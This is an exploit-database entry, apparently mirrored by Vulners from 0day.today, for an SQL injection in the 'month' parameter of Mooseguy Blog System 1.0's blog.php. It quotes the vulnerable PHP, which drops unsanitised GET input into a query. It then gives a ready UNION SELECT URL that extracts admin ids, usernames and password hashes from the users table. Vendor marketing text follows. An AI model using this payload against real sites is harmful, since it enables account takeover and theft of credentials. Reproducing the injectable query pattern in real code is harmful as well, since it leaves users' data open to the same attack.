Lucene search
K

Mooseguy Blog System 1.0 (blog.php month) SQL Injection Vulnerability

🗓️ 21 Jan 2008 00:00:00Reported by The_HuliGunType 
zdt
 zdt
🔗 0day.today👁 27 Views

Mooseguy Blog System 1.0 SQL Injection Vulnerability in blog.ph

Code
=====================================================================
Mooseguy Blog System 1.0 (blog.php month) SQL Injection Vulnerability
=====================================================================



# MGBS 1.0 Remote SQL injection

# Vulnerable code in blog.php 
 
 <?php
   $month = $_GET['month'];
   $result = mysql_query("SELECT * FROM blog WHERE posted='$month' ORDER BY id DESC") or die("HELP QUERY BROKEN");
   ...

# Admin hash exploit

http://[target]/[path]/blog.php?month='+union+select+1,2,3,4,5,concat_ws(0x3a,id,uname,upass),7,8+from+users/*

# Bug discovered by The_HuliGun




#  0day.today [2018-01-05]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation